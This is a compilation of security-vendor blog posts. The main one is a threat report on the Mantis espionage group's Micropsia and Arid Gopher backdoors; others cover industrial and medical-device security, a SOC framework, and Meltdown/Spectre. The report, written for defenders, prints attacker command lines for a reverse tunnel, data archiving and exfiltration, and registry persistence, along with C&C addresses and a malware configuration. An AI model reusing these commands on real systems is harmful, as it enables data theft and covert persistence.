Remote investigations – proactive investigation of suspicious threat activity across on-prem and cloud endpoints
Pre-authorized remediation – rapid remediation of compromised endpoints using pre-authorized actions, which is especially critical during off-hours attacks
Agencies require a high caliber of capabilities to maintain a strong cyber posture in today’s evolving threat landscape. For many agencies, Symantec MEDR is the best way to make that necessity a reality.
To learn more about our Symantec EDR capabilities, visit here.
To learn more about our Symantec MEDR capabilities, visit here.
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Mantis: New Tooling Used in Attacks Against Palestinian Targets
Espionage group puts time and effort into avoiding detection and maintaining persistent presence on compromised networks.
The Mantis cyber-espionage group (aka Arid Viper, Desert Falcon, APT-C-23), a threat actor believed to be operating out of the Palestinian territories, is continuing to mount attacks, deploying a refreshed toolset and going to great lengths to maintain a persistent presence on targeted networks.
While the group is known for targeting organizations in the Middle East, the most recent campaign uncovered by Symantec, by Broadcom Software, focused on organizations within the Palestinian territories, with malicious activity beginning in September 2022 and continuing to at least February 2023. This targeting is not unprecedented for Mantis and Symantec previously uncovered attacks against individuals located in the Palestinian territories during 2017.
Background
Mantis has been active since at least 2014, with some third-party reporting suggesting it may have been active as early as 2011. The group is known to target organizations in Israel and a number of other Middle Eastern countries. Sectors targeted include government, military, financial, media, education, energy, and think tanks. The group is known for employing spear-phishing emails and fake social media profiles to lure targets into installing malware on their devices.
Mantis is widely accepted to be linked to the Palestinian territories. While other vendors have linked the group to Hamas, Symantec cannot make a definitive attribution to any Palestinian organization.
In its most recent attacks, the group used updated versions of its custom Micropsia and Arid Gopher backdoors to compromise targets before engaging in extensive credential theft and exfiltration of stolen data.
Attack chain
The initial infection vector for this campaign remains unknown. In one organization targeted, a feature of the compromise was that the attackers deployed three distinct versions of the same toolset (i.e. different variants of the same tools) on three groups of computers. Compartmentalizing the attack in this fashion was likely a precautionary measure. If one toolset was discovered, the attackers would still have a persistent presence on the target’s network.
The following is a description of how one of those three toolsets was used:
The first evidence of malicious activity occurred on December 18, 2022. Three distinct sets of obfuscated PowerShell commands were executed to load a Base64-encoded string, which started embedded shellcode. The shellcode was a 32-bit stager that downloaded another stage using basic TCP-based protocol from a command-and-control (C&C) server: 104.194.222[.]50 port 4444.
The attackers returned on December 19 to dump credentials before downloading the Micropsia backdoor and Putty, a publicly available SSH client, using Certutil and BITSAdmin
Micropsia subsequently executed and initiated contact with a C&C server. On the same day, Micropsia also executed on three other machines in the same organization. In each case, it ran in a folder named after its file name:
csidl_common_appdata\systempropertiesinternationaltime\systempropertiesinternationaltime.exe
csidl_common_appdata\windowsnetworkmanager\windowsnetworkmanager.exe
csidl_common_appdata\windowsps\windowsps.exe
On one computer, Micropsia was used to set up a reverse socks tunnel to an external IP address:
CSIDL_COMMON_APPDATA\windowsservicemanageav\windowsservicemanageav.exe -connect 104.194.222[.]50:443 [REDACTED]
On December 20, Micropsia was used to run an unknown executable named windowspackages.exe on one of the infected computers.
The following day, December 21, RAR was executed to archive files on another infected computer.
Between December 22 and January 2, 2023, Micropsia was used to execute the Arid Gopher backdoor on three infected computers. Arid Gopher was in turn used to run a tool called SetRegRunKey.exe that provided persistence by adding Arid Gopher to the registry so that it executed on reboot. It also ran an unknown file named localsecuritypolicy.exe (this file name was used for the Arid Gopher backdoor elsewhere by the attackers).
On December 28, Micropsia was used to run windowspackages.exe on three more infected computers.
On December 31, Arid Gopher executed two unknown files named networkswitcherdatamodell.exe and networkuefidiagsbootserver.exe on two of the infected computers.
On January 2, the attackers retired the version of Arid Gopher they were using and introduced a new variant. Whether this was because the first version was discovered or whether it was standard operating procedure is unclear.
On January 4, Micropsia was used to execute two unknown files, both named hostupbroker.exe, on a single computer from the folder: csidl_common_appdata\hostupbroker\hostupbroker.exe. This was immediately followed by the exfiltration of a RAR file:
CSIDL_COMMON_APPDATA\windowsupserv\windowsupserv.exe -f CSIDL_COMMON_APPDATA\windowspackages\01-04-2023-15-13-39_getf.rar
On January 9, Arid Gopher was used to execute two unknown files on a single computer:
csidl_common_appdata\teamviewrremoteservice\teamviewrremoteservice.exe
csidl_common_appdata\embededmodeservice\embededmodeservice.exe
The last malicious activity occurred from January 12 onwards when Arid Gopher was used to execute the unknown file named localsecuritypolicy.exe every ten hours.
Micropsia
Variants of the Micropsia backdoor used in these attacks appear to be slightly updated versions of those seen by other vendors. In this campaign, Micropsia was deployed using multiple file names and file paths:
csidl_common_appdata\microsoft\dotnet35\microsoftdotnet35.exe
csidl_common_appdata\microsoftservicesusermanual\systempropertiesinternationaltime.exe
csidl_common_appdata\systempropertiesinternationaltime\systempropertiesinternationaltime.exe
csidl_common_appdata\windowsnetworkmanager\windowsnetworkmanager.exe
csidl_common_appdata\windowsps\windowsps.exe
Micropsia is executed using WMI and its main purpose appears to be running secondary payloads for the attackers. These included:
Arid Gopher (file names: networkvirtualizationstartservice.exe, networkvirtualizationfiaservice.exe, networkvirtualizationseoservice.exe)
Reverse SOCKs Tunneler (aka Revsocks) (file name: windowsservicemanageav.exe)
Data Exfiltration Tool (file name: windowsupserv.exe)
Two unknown files, both named hostupbroker.exe
Unknown file named windowspackages.exe
In addition to this, Micropsia has its own functionality, such as taking screenshots, keylogging, and archiving certain file types using WinRAR in preparation for data exfiltration:
"%PROGRAMDATA%\Software Distributions\WinRAR\Rar.exe" a -r -ep1 -v2500k -hp71012f4c6bdeeb73ae2e2196aa00bf59_d01247a1eaf1c24ffbc851e883e67f9b -ta2023-01-14 "%PROGRAMDATA%\Software Distributions\Bdl\LMth__C_2023-02-13 17-14-41" "%USERPROFILE%\*.xls" "%USERPROFILE%\*.xlsx" "%USERPROFILE%\*.doc" "%USERPROFILE%\*.docx" "%USERPROFILE%\*.csv" "%USERPROFILE%\*.pdf" "%USERPROFILE%\*.ppt" "%USERPROFILE%\*.pptx" "%USERPROFILE%\*.odt" "%USERPROFILE%\*.mdb" "%USERPROFILE%\*.accdb" "%USERPROFILE%\*.accde" "%USERPROFILE%\*.txt" "%USERPROFILE%\*.rtf" "%USERPROFILE%\*.vcf"
Arid Gopher
Unlike Micropsia, which is written in Delphi, Arid Gopher is written in Go. Versions of Arid Gopher used in this campaign contain the following embedded components:
7za.exe – A copy of the legitimate 7-Zip executable
AttestationWmiProvider.exe – A tool that sets a “run” registry value
ServiceHubIdentityHost.exe – A copy of legitimate Shortcut.exe executable from Optimum X
Setup.env – Configuration file
Arid Gopher was also used to launch the following unknown files: networkswitcherdatamodell.exe, localsecuritypolicy.exe, and networkuefidiagsbootserver.exe, in addition to being used to download and execute files obfuscated with PyArmor.
When communicating with a C&C server, Arid Gopher registers a device on one path then connects to another path, likely to receive commands:
Connects to: http://jumpstartmail[.]com/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 79.133.51[.]134) - likely to register device
Followed by: http://jumpstartmail[.]com/IURTIER3BNV4ER/AJLUK9BI48/0L6W3CSBMC - likely to receive commands
Connects to: http://salimafia[.]net/IURTIER3BNV4ER/DWL1RucGSj/4wwA7S8jQv (IP: 146.19.233[.]32) - likely to register device
Followed by: http://salimafia[.]net/IURTIER3BNV4ER/AJLUK9BI48/0L6W3CSBMC - likely to receive commands
Arid Gopher appears to be regularly updated and rewritten by the attackers, most likely in order to evade detection. One variant of the malware was radically different from previous versions seen with most of the distinctive code updated, so much so that there was not a single subroutine that contained identical distinctive code when compared with the previous version. Mantis appeared to be aggressively mutating the logic between variants, which is a time-intensive operation if done manually.
Table 1. Commands supported by latest variant of Arid Gopher backdoor
Command Description
"c" Perhaps related to main.exC("cmd")
"d" Perhaps related to main.down2
"s" Perhaps related to main.OnDSH
"ci" Perhaps related to main.deviceProperties
"ps" Perhaps related to main.exC("powershell")
"ra" Perhaps related to main.RunAWithoutW
"sf" Perhaps related to main.updateSettings
"sl" Perhaps related to main.searchForLogs
"ua" Perhaps related to main.updateApp
"ut" Perhaps related to main.updateT
"pwnr" Perhaps related to main.exCWithoutW("powershell")
"rapp" Perhaps related to main.restartApp
"gelog" Perhaps related to main.upAppLogs
"ufbtt" Perhaps related to main.collectFi
"ufofd" Perhaps related to main.collectFiOrFol
"bwp" Perhaps related to main.browDat
"cbh" Perhaps related to main.delBD
"cwr" Perhaps related to main.exCWithoutW("cmd")
"gaf" Perhaps related to main.collectFi
"ntf" Perhaps related to main.collectNet
"smr" Perhaps related to main.updateSettings
The embedded setup.env file used by one analyzed variant of Arid Gopher to retrieve configuration data contained the following:
DIR=WindowsPerceptionService
ENDPOINT=http://jumpstartmail[.]com/IURTIER3BNV4ER
LOGS=logs.txt
DID=code.txt
VER=6.1
EN=2
ST_METHOD=r
ST_MACHINE=false
ST_FLAGS=x
COMPRESSOR=7za.exe
DDIR=ResourcesFiles
BW_TOO_ID=7463b9da-7606-11ed-a1eb-0242ac120002
SERVER_TOKEN=PDqMKZ91l2XDmDELOrKB
STAPP=AttestationWmiProvider.exe
SHORT_APP=ServiceHubIdentityHost.exe
The setup.env configuration file mentions another file, AttestationWmiProvider.exe, which is also embedded in Arid Gopher. The file is a 32-bit executable that is used as a helper to ensure that another executable will run on reboot. When it executes, it checks for the following command-line arguments:
"key" with string parameter [RUN_VALUE_NAME]
"value" with string parameter [RUN_PATHNAME]
It then arranges to receive notification on a signal using func os/signal.Notify(). Once notified, it sets the following registry value:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"[RUN_VALUE_NAME]" = "[RUN_PATHNAME]"
Our investigation so far shows this file setting Arid Gopher to run on reboot:
CSIDL_COMMON_APPDATA\attestationwmiprovider\attestationwmiprovider.exe -key=NetworkVirtualizationStartService "-value=CSIDL_COMMON_APPDATA\networkvirtualizationstartservice\networkvirtualizationstartservice.exe -x"
Exfiltration Tool
The attackers also used a custom tool to exfiltrate data stolen from targeted organizations: a 64-bit PyInstaller executable named WindowsUpServ.exe. When run, the tool checks for the following command-line arguments:
"-d" "[FILE_DIRECTORY]"
"-f" "[FILENAME]"
For each "-f" "[FILENAME]" command-line argument, the tool uploads the content of [FILENAME]. For each "-d" "[FILE_DIRECTORY]" command-line argument, the tool obtains a list of files stored in the folder [FILE_DIRECTORY] and uploads the content of each file.
When uploading each file, the tools sends an HTTP POST request to a C&C server with the following parameters:
"kjdfnqweb": [THE_FILE_CONTENT]
"qyiwekq": [HOSTNAME_OF_THE_AFFECTED_COMPUTER]
Whenever the remote server responds with the status code 200, the malware deletes the uploaded file from the local disk. The malware may also log some of its actions in the following files:
"C:\ProgramData\WindowsUpServ\success.txt"
"C:\ProgramData\WindowsUpServ\err.txt"
Determined Adversary
Mantis appears to be a determined adversary, willing to put time and effort into maximizing its chances of success, as evidenced by extensive malware rewriting and its decision to compartmentalize attacks against single organizations into multiple separate strands to reduce the chances of the entire operation being detected.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256 hash File name Description
0fb4d09a29b9ca50bc98cb1f0d23bfc21cb1ab602050ce786c86bd2bb6050311 networkvirtualizationservice.exe Arid Gopher
3d649b84df687da1429c2214d6f271cc9c026eb4a248254b9bfd438f4973e529 networkvirtualizationpicservice.exe Arid Gopher
82f734f2b1ccc44a93b8f787f5c9b4eca09efd9e8dcd90c80ab355a496208fe4 networkvirtualizationfiaservice.exe Arid Gopher
85b083b431c6dab2dd4d6484fe0749ab4acba50842591292fdb40e14ce19d097 networkvirtualizationinithservice.exe Arid Gopher
cb765467dd9948aa0bfff18214ddec9e993a141a5fdd8750b451fd5b37b16341 networkvirtualizationfiaservice.exe Arid Gopher
f2168eca27fbee69f0c683d07c2c5051c8f3214f8841c05d48897a1a9e2b31f8 networkvirtualizationstartservice.exe Arid Gopher
21708cea44e38d0ef3c608b25933349d54c35e392f7c668c28f3cf253f6f9db8 AttestationWmiProvider.exe Arid Gopher persistence component
58331695280fc94b3e7d31a52c6a567a4508dc7be6bdc200f23f5f1c72a3f724 windowsupserv.exe Exfiltration tool
5af853164cc444f380a083ed528404495f30d2336ebe0f2d58970449688db39e windowsupserv.exe Exfiltration tool
0a6247759679c92e1d2d2907ce374e4d6112a79fe764a6254baff4d14ac55038 Various Micropsia
1d1a0f39f339d1ddd506a3c5a69a9bc1e411e057fe9115352482a20b63f609aa N/A Micropsia
211f04160aa40c11637782973859f44fd623cb5e9f9c83df704cc21c4e18857d xboxaccessorymanagementservice.exe Micropsia
d10a2dda29dbf669a32e4198657216698f3e0e3832411e53bd59f067298a9798 systempropertiesinternationaltime.exe Micropsia
5405ff84473abccc5526310903fcc4f7ad79a03af9f509b6bca61f1db8793ee4 networkvirtualizationseoservice.exe Possible Arid Gopher
f38ad4aa79b1b448c4b70e65aecc58d3f3c7eea54feb46bdb5d10fb92d880203 runme.exe Possible Meterpreter
c4b9ad35b92408fa85b92b110fe355b3b996782ceaafce7feca44977c037556b systempropertiesinternationaltime.exe Possible Micropsia
f98bc2ccac647b93f7f7654738ce52c13ab477bf0fa981a5bf5b712b97482dfb windowsservicemanageav.exe ReverseSocksTunnel
411086a626151dc511ab799106cfa95b1104f4010fe7aec50b9ca81d6a64d299 N/A Shellcode
5ea6bdae7b867b994511d9c648090068a6f50cb768f90e62f79cd8745f53874d N/A Shellcode
6a0686323df1969e947c6537bb404074360f27b56901fa2bac97ae62c399e061 N/A Shellcode
11b81288e5ed3541498a4f0fd20424ed1d9bd1e4fae5e6b8988df364e8c02c4e SystemPropertiesInternationalTime.rar Unknown file
1b62730d836ba612c3f56fa8c3b0b5a282379869d34e841f4dca411dce465ff6 networkswitcherdatamodell.exe Unknown file
220eba0feb946272023c384c8609e9242e5692923f85f348b05d0ec354e7ac3c hostupbroker.exe Unknown file
4840214a7c4089c18b655bd8a19d38252af21d7dd048591f0af12954232b267f hostupbroker.exe Unknown file
4a25ca8c827e6d84079d61bd6eba563136837a0e9774fd73610f60b67dca6c02 windowspackages.exe Unknown file
624705483de465ff358ffed8939231e402b0f024794cf3ded9c9fc771b7d3689 _pytransform.dll Unknown file
7ae97402ec6d973f6fb0743b47a24254aaa94978806d968455d919ee979c6bb4 embededmodeservice.exe Unknown file
8d1c7d1de4cb42aa5dee3c98c3ac637aebfb0d6220d406145e6dc459a4c741b2 localsecuritypolicy.exe Unknown file
b6a71ca21bb5f400ff3346aa5c42ad2faea4ab3f067a4111fd9085d8472c53e3 embededmodeservice.exe Unknown file
bb6fd3f9401ef3d0cc5195c7114764c20a6356c63790b0ced2baceb8b0bdac51 localsecuritypolicy.exe Unknown file
bc9a4df856a8abde9e06c5d65d3bf34a4fba7b9907e32fb1c04d419cca4b4ff9 networkuefidiagsbootserver.exe Unknown file
d420b123859f5d902cb51cce992083370bbd9deca8fa106322af1547d94ce842 teamviewrremoteservice.exe Unknown file
jumpstartmail[.]com Arid Gopher C&C
paydayloansnew[.]com Arid Gopher C&C
picture-world[.]info Arid Gopher C&C
rnacgroup[.]com C&C
salimafia[.]net Arid Gopher C&C
seomoi[.]net Arid Gopher C&C
soft-utils[.]com C&C
chloe-boreman[.]com Micropsia C&C
criston-cole[.]com Micropsia C&C
http://5.182.39[.]44/esuzmwmrtajj/cmsnvbyawttf/mkxnhqwdywbu Exfiltration tool C&C
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Manufacturing in Cyber Security Cross Hairs: How It Fights Back
With industrial cyber threats increasing, manufacturers are finally slowly waking up to the threat
The vast industrial automation complex, the backbone of American factories and critical infrastructure such as power grids and water plants, gets way less attention, yet it’s rapidly shaping up to be one of the most potentially damaging targets of cyber attacks.
While there’s been plenty of focus on cyber security concerns related to IT and business, industrial control systems (ICS) have recently been in the cross hairs. Indeed, the manufacturing sector is among the top three industries targeted by spear phishing attacks, and the advent of IIoT connectivity opens the door to other significant threats that simply did not exist when developing and deploying legacy ICS such as SCADA and PLCs.
“The biggest risk is older and outdated technologies in the OT environment that cannot withstand today’s advanced threats and frankly continue to provide a wider and wider attack surface for cyber criminals,” says Al Ghous, senior director of cyber security for GE. “Legacy OT systems were not necessarily designed for today’s threat sophistication, and many of the areas most likely to be compromised are not updated or fixed regularly.”
The United States Computer Emergency Readiness Team (US-CERT) sounded the alarms in March when it released a report warning of Russian government exploits targeting U.S. government entities along with organizations in the energy, nuclear, commercial facilities, water, aviation, and other critical manufacturing sectors. The joint effort between the Department of Homeland Security (DHS) and the FBI characterized the activity as a multi-stage intrusion campaign, which encompassed the staging of malware, spear phishing, and remote access to networks to allow Russian cyber actors to conduct reconnaissance on ICS.
As part of a counter offensive, DHS in July announced the National Risk Management Center, a new facility dedicated to defending critical infrastructure and private industry from the newest flavor of cyber attacks.
With industrial cyber threats now a prominent headline, manufacturers are finally slowly waking up to the risks, taking small steps to embrace new safeguards.
The situation escalated when automation giant Schneider Electric confirmed that a new Trojan, the TRITON/TRISIS malware, was communicating with safety instrumented systems (SIS) using its Triconex Tricon safety-controller firmware. SIS equipment is tapped by oil, gas, and water utilities to monitor systems to ensure they operate within acceptable safety thresholds. A breach could cause a disruption or sabotage any of the targeted entities, and there were reports that TRITON was deployed against at least one organization in the Middle East.
Prior to these incidents this year, there were only a handful of attacks ever reported on ICS, including the Stuxnet campaign that attacked programmable logic controllers (PLCs) at an Iranian uranium enrichment facility in 2010 and another malware attack on Ukraine’s electric grid last year.
“Triton was a call to action for the entire industry,” says Gary Williams, senior director, cyber security service offer leader, Schneider Electric. “Similar attacks are likely and could happen at any time on any worldwide industrial safety system, no matter who designed, engineered, or provided it. The urgency is on suppliers, industrial plant operators/owners, third-party providers, integrators, standards bodies and government agencies alike.”
Changing the Security Game
Given what’s at stake, the cyber risk message is being amplified at a time when manufacturers are retrofitting legacy platforms and investing in new Industrial Internet of Things (IIoT) technologies as part of digitalization and Industry 4.0. A report by Deloitte on Industry 4.0 found nearly half of respondents (48%) saying that digital transformation efforts increase cyber risks for manufacturing companies, including theft of confidential data and design IP as well as cyber sabotage of industrial processes.
The convergence of operational IT (OT), technology that is traditionally the domain of the factory floor, and conventional IT elevates risk even further since office IT is no longer isolated and can become a conduit to ICS and other industrial systems. While manufacturers have begun to implement rigorous security frameworks and policies for IT systems, they have not been as vigilant about safeguarding the plant floor or outside industrial assets. The Deloitte study found that nearly a third of respondents had not performed any cyber risk assessment of ICS and the two-thirds that had, had used internal resources, potentially injecting organizational bias into the assessment process, the report found.
Moreover, only half of those manufacturing execs surveyed said they performed targeted vulnerability or penetration testing on their ICS less than monthly, and only one in five cited implementation of a secure information and event management systems (SIEM) as a top priority.
With industrial cyber threats now a prominent headline, manufacturers are finally slowly waking up to the risks, taking small steps to embrace new safeguards. Among the top priorities recommended by Deloitte and Symantec experts:
Initiate a risk management process; put processes and tools in place for managing the secure convergence of IT and OT
Create a holistic inventory of all connected devices attached to network segments
Establish a “zero trust network” that extends to the outer layers of the enterprise
Create cross-functional security teams to promote governance and best practices.
Automation vendors also need to (and are) embracing “cyber security by design” practices to embed more out-of-the-box security capabilities into their products.
“There is finally some awareness that these industries need to mature their security posture and hygiene,” says Koushik Subramanian, the director of the National Center for Cyber Security in Manufacturing, part of the Digital Manufacturing and Design Innovation Institute (DMDII) in Chicago. DMDII launched the center in March with $750,000 in seed funding from the DoD to focus on cyber security awareness building, workforce development, and creating low-cost tools.
“The manufacturing industry and a lot of industrial organizations that run critical services like nuclear energy are mostly in legacy mode, but we are starting to see them up their game with regards to cyber security.”
Symantec Internet of Things Security (Industrial/OT)
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Matters of Life and Death: Cyber Security and Medical Devices
Concerns about the vulnerabilities of medical devices to cyber attacks are spurring a new focus on the need to protect patient safety, data and hospital systems
It’s a scenario right out of a Hollywood blockbuster. Without a word of warning, medical devices regulating everything from heartbeat to insulin levels across a hospital system begin behaving erratically – creating mass confusion and a potential life-and-death emergency for hundreds of patients. Far-fetched? Perhaps. But far from impossible. The fact that no one has ever attempted to do such a thing is maybe just luck. And that’s the concern as the healthcare industry finds itself today under relentless cyber attack.
In 2019, the industry was responsible for nearly four out of five of all reported data breaches and in 2020, the situation is only expected to get worse. Estimates put the cost of cyber crime to the industry at as much as $4 billion—and that doesn’t include the damage to the professional reputations of the healthcare institutions involved.
A Matter of Time
Security experts consider it only a matter of time before medical devices might become a major contributor to this threat landscape. Medical devices permeate the typical hospital—as many as 10-15 per bed according to most estimates. In a large hospital that could mean as many as thousands of beds. Most, if not all of these devices, are connected to the internet by some form of a wired or wireless network. And until very recently, medical device manufacturers (MDMs) were not required to account for the cyber security for their devices—making them among the easiest of potential targets to hack.
Adding to the concern is the fact that the wave of change and innovation that has swept business and consumer technology over the past decade has been challenging for the healthcare industry to absorb. Hospital systems lag behind perhaps only the federal government in their use of legacy operating systems. Indeed, as many as one-third of hospital systems today still use Windows 7, Windows XP, and other legacy systems that are no longer supported by their manufacturers and therefore pose significant additional cyber security risks.
And until very recently, medical device manufacturers (MDMs) were not required to account for the cyber security for their devices—making them among the easiest of potential targets to hack.
Despite this, healthcare organizations also lag behind most industries in their cyber security planning and investment. Just four to seven percent of the typical healthcare system’s IT budget is spent annually on cyber security–in contrast to other industries, such as finance, which averages about 15% of its annual IT budget on cyber defense.
FDA Leadership
The growing awareness of the potential vulnerability of these devices is generating significant momentum towards increasing their cyber security. The Food and Drug Administration (FDA), which has been responsible since 1976 for regulating medical devices, is taking the lead in guiding these efforts.
In 2014 and 2016, the FDA released the first two guidance documents designed to raise the standards and significantly improve medical device cyber security. These guidelines address cyber security for medical devices in both pre-market and post-market contexts. Among the most notable points in the FDA’s pre-market guidance is that MDMs must address potential cyber security risks and concerns associated with their new devices.
The FDA’s post-market guidance centers on the industry recognizing that the medical device security issue does not exist in a vacuum. The FDA calls on MDMs and healthcare delivery organizations (HDOs) to work together to identify and mitigate potential patient risks and ensure proper device performance throughout the device’s lifecycle. The industry has long recognized its responsibility in this effort. And indeed, there are several industry associations dedicated to this effort, including some that predate the FDA’s guidance. Among the most notable is the Health Information Sharing and Analysis Center (H-ISAC), a not-for-profit industry association established in 2010. H-ISAC comprises many of the medical device industry’s leading companies along with leaders from healthcare, pharmaceutical, and other related industries, public health departments, and health technology and security companies, including Symantec. H-ISAC serves as a cross-industry center for coordinating and sharing cyber threat intelligence and best practices.
The FDA augments these efforts by issuing security alerts whenever it detects a major security vulnerability in any aspect of the medical device ecosystem. In October, 2019, it issued the most recent of these alerts, warning “patients, providers and manufacturers” of potential vulnerabilities for devices using a certain type of communications software.
The Industry’s Role
It is important to note that much of the FDA guidance is essentially just that, suggestions, and not federal mandates. It is up to the MDMs and HDOs to voluntarily act upon the guidance. So, for example, there is no requirement that the medical devices–of which there are millions–that were already in use prior to 2016 be recalled or retrofitted for more cyber security.
Health technology and security companies associated with the medical device industry play a major role in helping the sector by working with the National Institute of Standards and Technology’s (NIST) National Cybersecurity Center of Excellence (NCCoE), the US Department of Commerce’s center responsible for addressing the most pressing cyber security issues impacting the nation’s business organizations. “There is a major focus around ensuring the data integrity of medical devices at NCCoE,” says Aubrey Merchant-Dest, Symantec’s Senior Technical Director, Public Sector. “The NCCoE is working with companies, including security companies like Symantec, to develop best practices to protect and recover medical devices from ransomware.”
So, for example, there is no requirement that the medical devices–of which there are millions–that were already in use prior to 2016 be recalled or retrofitted for more cyber security.
But ultimately, “the onus is on the medical industry,” Merchant-Dest continues, “to make securing medical devices part of their overall cyber security strategy.” So, what can medical device manufacturers do to improve the security around their devices?
“Along with working with NIST’s NCCoE and establishing information sharing associations like H-ISAC,” says Aubrey-Dest, “one solution leading medical device manufacturers are adopting is implementing solutions based on the principle of zero trust.” The concept behind zero trust is that nothing should be trusted and everything and everyone asking for access must be verified. Zero Trust-based security solutions ensure that only authorized and validated individuals, such as the patient’s physician, or authorized devices on that network, have access to that medical device’s data. Components of a robust zero-trust solution integrate user identity and access, device, and network and application security into a comprehensive end-to-end security solution to securely protect the medical device and its patient data.
Adopting a zero-trust security strategy with these elements ensures the safety of the data that may mean life or death to the patient connected to that medical device. And make no mistake: life or death can be the stakes.
While there has been no known or reported attempt to create mass mayhem or directly threaten the life of a patient by hacking into and altering the performance of a given device, that is not the same as saying it can’t or will never happen. Or that the stakes are any less. As MDMs and hospital systems increasingly turn to artificial intelligence (AI) enabled medical devices and systems, the potential to manipulate or weaponize that data grows apace. The bottom line is that data, “any data, but especially that most important to patients or their caregivers,” says Merchant-Dest, “needs to be trusted. We never want to get to a place where we don’t trust the data.” To ensure that trust is indeed a matter of life or death.
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Meet the Game Changing Cyber Defence Centre Framework
Broadcom Software is contributing to this game changer for cyber security management
One of the best stories stemming from this year’s Summer Olympics in Tokyo concerned a headline you never saw in worldwide newspapers. There were no cyber security incidents that caused outages—or embarrassment to the host nation of Japan.
No doubt the Olympics were a tempting target for bad actors looking to make a name on a global stage. What’s even more impressive about this outcome is the conditions under which it occurred. First, the Olympics are not a permanent technology installation, and second it could only work with private sector security companies to support as Gold Partners of the Japan Olympic Company (JOC) such as NEC and NTT (as well as Gold Partner for Telecommunication Services).
Representing Symantec, as a division of Broadcom Software, I have had the opportunity to participate, lead and contribute in Standards Defining Organizations such as the International Telecommunications Union (ITU) where we initiated and contributed to the development of the Cyber Defence Centre (CDC) framework with many colleagues, in what is called Question 3 of Study Group 17.
When my co-editors from NTT group joined this work with the key support of NEC representatives, and the rapporteurship leaders of Q3, we were introduced and considered materials from Japanese industry associations such as the ISOG-J such as: Information Security Operation providers Group Japan, which consists of 56 Japanese security companies. As we began our work, we realized that we could seamlessly merge both initiatives together. No doubt Japan will make good use of this new standard but as well many other countries show interest in using this, including many African nations.
Will the CDC be a game changer for cyber security management? Here’s why I believe it’s worth checking out.
What is the CDC framework?
The Cyber Defence Centre (CDC) is an entity that implements security policies as services. The CDC defines a catalog of services, and gives the conditions to then help ensure that the CDC members are equipped with the right training, services, and technologies.
The framework isn’t just theoretical, it provides a scoring system to help CDCs determine how and by whom security services are implemented, including insourcing, outsourcing, or some combination of the two.
CDC members are responsible for setting policies and resource planning for all security activities, including their own strategic management — the first of nine main CDC service categories include:
Strategic management of CDC
Real-time analysis
Deep analysis
Incident response
Check and evaluate
Collection, analyzing and evaluating threat intelligence
Development and maintenance of CDC platforms
Supporting internal fraud response
Active relationship with external parties
Why did we propose this framework?
Cyber security is a shared, global problem that demands a concerted, global response. We were motivated by three things:
Each time we asked CISOs their definition of a SOC, we received a vast spectrum of different answers. Every organization is unique, and that’s really one of the industry’s biggest challenges
There is no common language to describe the job that each constituency (private and public organizations) have and thus makes it difficult for a country or a region in the world to organize, collaborate and coordinate a defence.
Finally there is a blatant lack of professionalisation in cyber security with a massive deficit of resources to do the work. As cyber security is still mostly vocational, codifying the services could help accelerate or align capacity building efforts. The framework establishes a state-of-the-art, multilingual, global governance approach that’s available to everyone.
Do we need to change our SOC?
Most SOCs are organized around incident response and we hope at minimum that they utilize the great work that FIRST delivered. Yet, even the best ones require continuous development progress to properly manage risks. No SOC can do everything. Many organizations are looking to build their capabilities and a framework providing a guideline for the selection of services to help them meet potential threats in alignment to their business goals.
By adopting the CDC framework:
You can have the assurance of knowing that you can conduct your own SOC transformation around a common framework.
You can hire the right people because you can say you have a best-in-class SOC built upon this world-class industry framework with a codification of services to be done.
You can more quickly achieve agreement, buy-in, and defuse personal preferences. The framework will guide future decision-making and you can achieve success even if there are personal or team conflicts.
What’s the best way to learn about the CDC framework?
The cyber security world is changing rapidly and fragmented organizational responses aren’t helping to fend off today’s global threat actors.
Review the framework here and see if it advances your professional and organizational objectives and please give us feedback to help improve the process.
Review it with your security team and senior management and see if there is a consensus.
Determine what services you have that map to it and identify what steps to prioritize next to establish your own CDC.
We encourage you to talk to the Symantec experts at Broadcom Software about your plans and how we can support you in developing your CDC journey. Contact us here.
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Meltdown and Spectre: Chip Vulnerabilities Could Facilitate Memory Leaks
Most modern processors, regardless of operating system, are affected by vulnerabilities.
Update: January 31, 2018 - Symantec has released the following detection for attempts to exploit the Multiple CPU Hardware Information Disclosure Vulnerability (CVE-2017-5754/Meltdown):
Exp.CVE-2017-5754
Update: January 5, 2018 - Symantec has released the following detection for attempts to exploit the Multiple CPU Hardware Information Disclosure Vulnerability (CVE-2017-5753/Spectre):
Exp.CVE-2017-5753
A series of newly discovered vulnerabilities affecting processor chips could permit attackers to gain unauthorized access to a computer’s memory. Dubbed Meltdown and Spectre, the vulnerabilities affect nearly all modern processors and can only be mitigated through operating system patches.
Of the two, Meltdown poses the greatest threat because it is easier to exploit and affects all kinds of computers, including personal computers and virtual machines in the cloud. Symantec is not aware of either vulnerability being exploited in the wild.
The vulnerabilities are significant, since a successful exploit could allow attackers to gain unauthorized access to sensitive data, including passwords. However, exploit of any vulnerable computer would require an attacker to gain access to the targeted computer via a prior step, such as running a malicious application on it; through JavaScript which triggers an exploit in order to run as native code; or running JavaScript to map the kernel. All of these malicious activities can be blocked by Symantec products. Nevertheless, users are advised to apply operating system patches as soon as they are made available.
Both Meltdown and Spectre exploit flaws in processors in order to bypass memory isolation in the operating system. Operating systems are designed in a way to block one application from accessing memory being used by another. If memory isolation fails to work, a malicious application could steal information from memory being used by other applications.
"Attacks on unpatched #cloud services are potentially the most dangerous exploit scenario for #Meltdown and #Spectre bugs symc.ly/2E6O73U"
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What is Meltdown?
Meltdown (CVE-2017-5754) exploits a flaw in out-of-order execution, a performance feature found in many modern processor chips. The researchers who discovered it have confirmed that it affects every Intel processor since 1995 (with the exception of pre-2013 Intel Itanium and Intel Atom processors). However, they added that it remains unclear whether ARM and AMD processors are also affected by the vulnerability.
If successfully exploited, an attacker can obtain a copy of the entire kernel address space, including any mapped physical memory, in other words, any data stored in memory at the time of the attack.
Meltdown can be exploited regardless of the operating system a computer is running. It affects both individual computers and any computers hosting cloud services, meaning an attack on a single server could lead to the compromise of multiple virtual machines running on that server.
Exploitation against cloud services is potentially the most worrying scenario, since the Meltdown can be exploited on a virtual machine in order to access memory from the host machine. Attackers could potentially buy space on a vulnerable cloud service and use it to stage an attack against other customers using the same host.
What is Spectre?
